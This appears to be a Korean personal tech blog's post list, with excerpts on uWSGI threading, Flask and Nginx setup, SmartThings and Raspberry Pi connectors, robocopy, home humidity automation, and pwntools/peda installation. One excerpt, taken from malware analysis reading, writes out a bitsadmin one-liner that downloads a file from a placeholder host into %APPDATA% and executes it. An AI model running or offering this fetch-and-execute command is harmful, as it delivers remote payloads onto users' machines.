python 쓰레드를 uWSGI로 서비스시 문제점

최근 python thread로 타이머를 구현, 이를 uWSGI로 서비스 하는 과정에서 thread가 동작하지 않아 관련 내용을 정리함. 예제코드는 아래와 같음. import time import threading from flask import Flask i = 0 def thread_run(): global i while True: i += 1 time.sleep(3) app = Flask(__name__) th = threading.Thread(target=thread_run) th.start() @app.route('/') def index(): return str(i) if __name__ == …

Flask 서비스를 위한 uWSGI + Nginx 설정

1. 필요 패키지 설치 $ sudo apt-get install python3 python3-pip nginx $ sudo pip3 install virtualenv $ sudo pip3 install uwsgi 2. Virtualenv 설정 $ virtualenv .server $ source .server/bin/activate (.server) $ pip3 install flask (.server) $ pip3 install uwsgi uwsgi를 또 설치한 이유는 코드에서 uWSGI decorators를 사용하기 위함임 3. Flask 코드 작성 # server.py …

Smartthings 뉴앱에서 타일 구성하기

최근 아파트 월패드 시스템과 Smartthings를 연동을 위해 DTH를 뉴앱에 호환되도록 작성을 했다. 그런데 각종 타일들이 원하는대로 구성이 안되는 것을 확인, 힘들게 방법을 찾아 기록해둔다. 우선 Smartthings 클래식 앱과는 다르게 뉴앱은 vid(Device id로 추정)를 지정하면 타일이 자동으로 구성된다. 그럼 vid를 어디서 확인할 수 있느냐? 아직까지 Smartthings 뉴앱의 타일 구성 등 DTH 작성에 대한 공식적인 문서는 없다. …

라즈베리파이에 LG-Connector 설치하기

Smartthings에 집에 있는 LG 건조기를 연동하기 위해 lg-connector를 라즈베리파이에 설치해보았다. 참고 : https://github.com/fison67/LG-Connector/blob/master/README.md 라즈베리파이에 LG-Connector 설치 sudo mkdir /docker sudo mkdir /docker/lg-connector sudo chown -R pi:pi /docker sudo docker pull fison67/lg-connector:0.0.5 sudo docker run -d –restart=always -v /docker/lg-connector:/config –name=lg-connector –net=host -e TZ=Asia/Seoul fison67/lg-connector:0.0.5 LG-Connector 설정 1. Open LG Connector web settings page (http://X.X.X.X:30020/) 2. Default …

ROBOCOPY 사용법

기본 사용법 robocopy 원본 대상 옵션 미러링 카피(/MIR) 하위 디렉토리까지 복사, 원본에 없는 파일이나 디렉토리를 자동 삭제. robocopy E:\사진모음 F:\사진모음 /MIR /LOG+:Backup_%date%.log 옵션 설명 ——————————————————————————- ROBOCOPY :: Windows용 견고한 파일 복사 ——————————————————————————- 시작됨: 2020년 2월 23일 일요일 오후 1:19:16 사용법 :: ROBOCOPY 원본 대상 [파일 [파일]…] [옵션] 원본 :: 원본 디렉터리(드라이브:\경로 또는 \\서버\공유\경로) 대상 :: …

라즈베리파이에 Mi-Connector 설치하기

1. 개요 샤오미 가습기(모델명:CJXJSQ02ZM)를 Smartthings에서 컨트롤 하고자 라즈베리파이에 Mi-Connector를 설치하여 보았습니다. 2. 라즈베리파이 설정 우선 라즈베리파이 공식 홈페이지에서 라즈비안(어감이 좋지 않네요…Raspbian) 최신버전을 다운로드 합니다. 저는 콘솔에서만 작업할 예정이므로 ‘Raspbian Buster Lite’를 다운로드 했습니다. Raspbian : https://www.raspberrypi.org/downloads/raspbian/ Raspbian Buster with desktop and recommended software 라즈비안 데스크톱 이미지에 Python,Scratch와 같은 프로그램들이 미리 설치되어있는 버전 Raspbian Buster with …

웹코어(webCoRE) 트리거 개수에 따른 메모리 변화

웹코어를 작성하다 보면 상단에 메모리 사용량이 표시되는데 동일한 기능을 수행하는 코드라도 메모리 사용량에 차이가 있어 기록 차원에서 남겨둔다. 아래는 수면시간중 침실 습도의 최적화를 위해 작성한 코드인데 코드 라인수는 동일하지만 트리거(좌측 번개표시)의 개수에 따라 메모리 사용량이 달라지는 것으로 보인다. 첫번째 코드 : 메모리 사용량(27%) 트리거를 4개 사용, 각 각 일정에 맞게 가습기를 동작하도록 구성 두번째 코드 …

침실 습도 최적화

1. 들어가며 최근 홈 IOT에 관심이 생겨 여러가지 작업을 진행했고 시행 과정에서 예상하지 못한 오류와 해결하기 위한 삽질 과정이 있어 공유 및 기록 차원에서 글을 남긴다. 나의 홈 IOT 플랫폼은 Smartthings(이하 ST) 허브로 구축했고 webCoRE를 쓰지않고 ST 앱(Classic 아님, 일명 뉴앱)의 자동화(Automation) 기능만 활용하였다. 그 이유는 아래 3가지 정도이며 ST 앱의 자동화 기능도 클라우드긴 하지만 …

wget과 유사한 윈도우 기본 명령어 bitsadmin

악성코드 분석글을 읽다 윈도우 환경에서 wget 명령어와 유사하게 파일을 다운로드 할 수 있는 기본 명령어가 있어 메모해 둡니다. ping 127.0.0.1 -n 3>null&bitsadmin /transfer myjob /download /priority high http://example.com/a.bin "%APPDATA%\a.exe">nul&start %APPDATA%\a.exe 본 명령어는 Windows 7 이후부터 기본 명령어로 탑재된 것으로 보입니다. 출처 : https://isc.sans.edu/forums/diary/Microsoft+BITS+Used+to+Download+Payloads/21027

peda, pwntools 설치하기

[pwntools] sudo apt-get install build-essential libssl-dev libffi-dev python-dev binutils binutils-dev python2.7 python2.7-dev python-pip sudo pip install pwntools [peda] sudo apt-get install git git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit